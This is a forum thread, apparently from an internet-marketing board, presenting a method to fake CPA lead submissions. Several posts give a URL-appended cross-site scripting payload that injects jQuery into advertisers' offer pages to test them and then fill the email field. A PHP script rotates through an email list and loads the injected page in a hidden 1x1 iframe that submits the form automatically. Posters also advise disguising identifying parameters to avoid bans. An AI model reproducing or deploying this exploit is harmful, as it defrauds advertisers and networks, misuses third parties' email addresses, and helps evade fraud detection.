[TUTORIAL] Auto-Fill and Submit CPA Forms

If you pump a ton of auto submitted leads then fully expect offers pulled, prices dropped, and possibly even a ban from the network(s).
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Dude, we are talking about NOOBS here. Most guys WILL take this at face value, its happened before time and time again. The reason why is because alot of times, most people who start out do not know how to get traffic at first, yet still want to figure out a way to get money from the CPA networks. You have a lot more people in that mindstate here then you have people who would actually know what they are doing.

Of course IM is harder now, but it's not due to offers prices getting dropped. It's due to less and less people sharing methods that actually work/people being less creative and taking a method at face value.
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I disagree. There has never been more methods shared in the year time span of 2009/2010 then any other time in the history of internet forums. You had private PAID IM forums pooping up left and right, and well as free forums giving away as much information as possible.

At the same time, competition increase, saturation of certain methods, even when guys spinned them, increased, new rules were implemented by both CPA networks AND sites like AFF, Google adwords and Adsense, Ebay, CL, Facebook, Amazon, CJ, etc. etc. Do I need to go on?

That happened around the same time that information of how to exploit their sites using certain method exploded and became popular.

So IM as far as marketing has not only gotton tougher, it has gotton MUCH harder to get into top quality CPA networks (that don't shave, have top quality email and zip submits that do NOT shave leads, and pays ON TIME!!) because of widespread BH fraud (and FTC attention as well.)

So the release of certain information DOES have an effect on things if ENOUGH PEOPLE ARE DOING THEM!!
The people that have bashed the method obviously have not tried it,
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Actually, I have tried it, over two years ago when it FIRST came out. SORNSofts software to be exact. ANd guess what, it was JUST LIKE THIS!

I'll leave it at that.
75% or more of the leads do not track/convert without doing things a bit differently than what is explained in this thread.
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Agree.
 
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*This just in all profits from email submit's have been moved to net90 indefinitely *
 
amberlamps said:
*This just in all profits from email submit's have been moved to net90 indefinitely *
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Another person taking this at face value, I presume.

For all of you people, you need to learn how to use your head for five effing minutes instead of copying and pasting methods as you see them. If you're not making money, yet you've been copying methods left and right, so if you think my method is the be-all-end-all for you, it's not. You have to use the methods you find in a system. You must integrate what you learn in to something bigger and entirely your own.

You don't buy a new battery for your car and then just stick it in the seat next to you and hope your car will magically start. You have to actually take some time to open the hood, take the old battery out, and integrate the new battery with the system.

Learn how to make things work together, not stand by themselves.

Now stop leaving replies and sending me PMs about how I'm going to kill the CPA industry. I swear to you, me, myself, and I cannot kill the CPA industry. That's up to you and how stupidly or successfully you decide to integrate what you learn.
 
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artizhay said:
Another person taking this at face value, I presume.

For all of you people, you need to learn how to use your head for five effing minutes instead of copying and pasting methods as you see them. If you're not making money, yet you've been copying methods left and right, so if you think my method is the be-all-end-all for you, it's not. You have to use the methods you find in a system. You must integrate what you learn in to something bigger and entirely your own.

You don't buy a new battery for your car and then just stick it in the seat next to you and hope your car will magically start. You have to actually take some time to open the hood, take the old battery out, and integrate the new battery with the system.

Learn how to make things work together, not stand by themselves.

Now stop leaving replies and sending me PMs about how I'm going to kill the CPA industry. I swear to you, me, myself, and I cannot kill the CPA industry. That's up to you and how stupidly or successfully you decide to integrate what you learn.
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lol relax i meant my statement more as a joke.

PS i never sent you a pm ( just to clear that up )
 
Hey guys

I'm wondering about your javascript url injection technique. At number 1 of your procedure i am not totally sure how to check and see if a certain url/offer is exploitable. after i add the javascript to the end of the url and load the page in step 1. what should i be looking for to confirm that the url/offer is in fact exploitable?

Much appreciated. Thanks again for everything
 
12121231 said:
Hey guys

I'm wondering about your javascript url injection technique. At number 1 of your procedure i am not totally sure how to check and see if a certain url/offer is exploitable. after i add the javascript to the end of the url and load the page in step 1. what should i be looking for to confirm that the url/offer is in fact exploitable?

Much appreciated. Thanks again for everything
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After you append:
Code: 
"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{alert("Exploited.";});</script>

A box should pop up saying "Exploited." if it was able to inject.
 
Someone pointed out an error in that code the other day actually. I forgot one character, so it will never display "Exploited." =/ The correct code is:

Code: 
"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{alert("Exploited.");});</script>

Forgot a parenthesis for the alert function.
 
This is absolutely brilliant. Whether or not it's legal, ethical, and workable in the long term I'm not concerned with. This is the kind of outside the box thinking that makes me proud to be a member of this community.
 
s3xynkillin said:
Well I'm on procedure step 1 also. Using vancead as the example i load the tracking link for the offer then i grab what i "believe" to be the real url for the offer out of the address bar AFTER visiting the tracking link. I add the code to the end of the address and reload.

All it seems to do is load the offer with the java still in the address bar I'm not sure if i am using the wrong url or not. I am going to a link found in a field called "tracking link" on vancead So i go through that link to get to the offer page and i grab the link that has now changed from the tracking link into a new link for the offer which is located in the address bar. So i add the code to the end of the address and all it does is reload w/out exploited popup box.

Any help would be appreciated
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Im having same problem. Can someone please explain?
 
These "coding guys" must be making a killing with their skills :)

Wish I could understand what is stated in this thread :D

Bk...
 
s3xynkillin said:
Well I'm on procedure step 1 also. Using vancead as the example i load the tracking link for the offer then i grab what i "believe" to be the real url for the offer out of the address bar AFTER visiting the tracking link. I add the code to the end of the address and reload.

All it seems to do is load the offer with the java still in the address bar I'm not sure if i am using the wrong url or not. I am going to a link found in a field called "tracking link" on vancead So i go through that link to get to the offer page and i grab the link that has now changed from the tracking link into a new link for the offer which is located in the address bar. So i add the code to the end of the address and all it does is reload w/out exploited popup box.

Any help would be appreciated
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Artizhay can you please explain this?
 
First, great method! I've bookmarked it and saved it on my computer just to be safe ;). Here's where it gets dangerous though: You say that people should test different offers to see which ones the exploit works on. The problem is that if advertisers see you sending strange parameters like this:

Code: 
2398"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="[email protected]";});</script>
they will definitely contact your CPA network and get you banned ASAP. So when you guys test which offers this works on, make sure to change the parameter that identifies you to something else.
 
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  • Knowledge of how to retrieve and update your e-mail list

Can anyone link me to some tutorial to achieve this?
 
Kelsen said:
  • Knowledge of how to retrieve and update your e-mail list

Can anyone link me to some tutorial to achieve this?
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If you look on the first page I posted some PHP code to open a text file, read the first line, store it for use then remove it from the list.

f0rked said:
PHP: 
<?php
function getEmail(){
    $file = "emails.txt";
    $emails = file($file);
    $email = array_shift($emails);
    $emails[] = $email;
    file_put_contents($file,$emails);
    $email = trim($email);
    echo "<iframe  src='http://offerplace.com/index.php?id=388&ad=2398\"><script%20src=\"http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js\"%20type=\"text/javascript\"></script><script%20type=\"text/javascript\">$(document).ready(function()%20{document.forms[0].email.value=\"$email\";document.forms[0].submit();});</script>'  width='1' height='1' frameborder='0'  scrolling='no'></iframe>";
}
getEmail();
?>
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Interesting..thanks. Has anyone tried it yet?
 
Kelsen said:
Interesting..thanks. Has anyone tried it yet?
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My code or the method? My code works flawlessly. The method works as well, but it needs some extra effort. Just using it as is, it will not work 100% of the time.
 
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